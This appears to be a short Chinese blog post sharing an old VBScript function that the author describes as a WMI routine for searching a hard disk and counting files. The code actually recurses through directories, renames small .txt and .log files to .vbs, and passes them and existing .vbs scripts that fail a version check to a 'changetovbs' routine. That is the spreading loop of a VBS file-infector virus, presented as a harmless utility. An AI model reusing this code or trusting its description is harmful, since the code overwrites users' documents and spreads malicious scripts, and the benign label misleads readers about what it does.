多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject( "winmgmts:\\" & StrComputer & "\root\cimv2" )
Set FileList = objWMIService.ExecQuery _
( "ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile" )
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt" , "log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs" )
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
( "Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent" )
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
|